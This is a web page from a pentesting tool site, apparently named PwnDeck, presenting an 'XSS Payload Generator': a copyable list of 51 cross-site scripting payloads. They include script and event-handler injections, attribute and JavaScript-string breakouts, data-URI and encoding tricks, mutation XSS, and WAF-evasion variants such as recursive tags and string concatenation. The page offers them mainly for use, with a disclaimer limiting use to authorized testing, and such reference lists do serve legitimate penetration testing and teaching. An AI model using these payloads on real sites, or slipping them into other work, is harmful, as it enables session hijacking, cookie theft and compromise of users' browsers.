Skip to content
PwnDeck logoPwnDeck

XSS Payload Generator

A searchable library of 50+ XSS test payloads organized by injection context. Filter by bypass type, encoding, and WAF evasion techniques.

51 payloads

Classic script injection

<script>alert(1)</script>
basic

Image error event handler

<img src=x onerror=alert(1)>
basicevent

SVG onload event

<svg onload=alert(1)>
basicevent

Body onload event

<body onload=alert(1)>
basicevent

Iframe with javascript URI

<iframe src="javascript:alert(1)">
basic

Details element toggle event

<details open ontoggle=alert(1)>
eventhtml5

Marquee onstart event

<marquee onstart=alert(1)>
eventlegacy

Video source error event

<video><source onerror="alert(1)">
eventhtml5

Input autofocus with onfocus

<input onfocus=alert(1) autofocus>
eventautofocus

Select autofocus trigger

<select autofocus onfocus=alert(1)>
eventautofocus

Textarea autofocus trigger

<textarea autofocus onfocus=alert(1)>
eventautofocus

Mutation XSS via nested elements

<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
bypassmutation

Break out of attribute with event

" onmouseover="alert(1)
basicevent

Single-quote attribute breakout

' onfocus='alert(1)' autofocus='
event

Autofocus onfocus breakout

" autofocus onfocus="alert(1)
eventautofocus

Close tag and inject SVG

"><svg onload=alert(1)>
basic

Break JS string in attribute

'-alert(1)-'
js-string

Escape quote with backslash

\"><img src=x onerror=alert(1)>
escape

Break out of JS string

';alert(1)//
basic

Break out of double-quoted JS string

";alert(1)//
basic

Template literal injection

${alert(1)}
template

Close script tag and open new

</script><script>alert(1)</script>
basic

Arithmetic operator injection

'-alert(1)-'
arithmetic

Bypass escaped quote

\';alert(1)//
escape

JavaScript protocol

javascript:alert(1)
basic

Data URI with script

data:text/html,<script>alert(1)</script>
data-uri

Base64-encoded data URI

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
data-uriencoding

Newline bypass in javascript protocol

java%0ascript:alert(1)
bypassencoding

HTML entity encoded alert

<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">
encodingwaf

No space between tag and event

<svg/onload=alert(1)>
wafbypass

Template literal instead of parentheses

<img src=x onerror=alert`1`>
wafbypass

Mixed case bypass

<ScRiPt>alert(1)</ScRiPt>
wafbypass

Recursive tag bypass

<scr<script>ipt>alert(1)</scr</script>ipt>
wafbypass

Double angle bracket bypass

<<script>alert(1)//<</script>
wafbypass

HTML entity encoded javascript URI

<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)">click</a>
encodingwaf

Unicode escape in event handler

<img src=x onerror=\u0061lert(1)>
encodingwaf

Slash as attribute separator

<img/src="x"/onerror=alert(1)>
wafbypass

CSS expression (IE)

expression(alert(1))
legacy

CSS url() with javascript

url('javascript:alert(1)')
legacy

Style attribute with javascript URL

<div style="background:url(javascript:alert(1))">
legacy

CSS import with javascript

<style>@import "data:text/css,*{background:url(javascript:alert(1))}";</style>
legacyimport

DOM-based via location.hash

#<img src=x onerror=alert(1)>
dom

Exfiltrate domain via alert

<img src=1 onerror=alert(document.domain)>
basicinfo

Cookie stealing payload

<img src=1 onerror=alert(document.cookie)>
basicinfo

SVG animate event handler

<svg><animate onbegin=alert(1) attributeName=x dur=1s>
eventhtml5

Object with data URI

<object data="data:text/html,<script>alert(1)</script>">
data-uri

Isindex element event handler

<isindex type=image src=1 onerror=alert(1)>
legacyevent

Use id attribute for eval bypass

"><img src=x id=alert(1) onerror=eval(id)>
bypasswaf

String concatenation bypass

<img src=x onerror=window["al"+"ert"](1)>
bypasswaf

Regex source bypass

<img src=x onerror=top[/al/.source+/ert/.source](1)>
bypasswaf

SVG set element event

<svg><set onbegin=alert(1)>
eventhtml5
Advertisement

How to Use the XSS Payload Generator

  1. Search for specific payloads using the search bar.
  2. Filter by context: HTML, Attribute, JavaScript, URL, or CSS.
  3. Browse payloads with their descriptions explaining why each works.
  4. Click the copy button to copy a payload to your clipboard.
  5. Review tags to identify payload characteristics (basic, bypass, WAF evasion, etc.).

About XSS Payload Generator

Cross-Site Scripting (XSS) is one of the most common web vulnerabilities, allowing attackers to inject malicious scripts into web pages. This reference library contains test payloads organized by injection context (HTML, attribute, JavaScript, URL, CSS) and tagged with characteristics like WAF bypass techniques and encoding methods. Each payload includes an explanation of why it works. This tool is designed for authorized security testing and educational purposes to help developers understand and prevent XSS vulnerabilities.

Advertisement

Frequently Asked Questions

These payloads should only be used for authorized security testing on systems you own or have explicit permission to test. Unauthorized testing is illegal in most jurisdictions. This tool is intended for security professionals, developers, and CTF participants.

The injection context determines which payloads will work. HTML context means your input lands directly in the page body. Attribute context means input goes inside an HTML tag attribute. JavaScript context means input is within a script block. Each requires different escape techniques.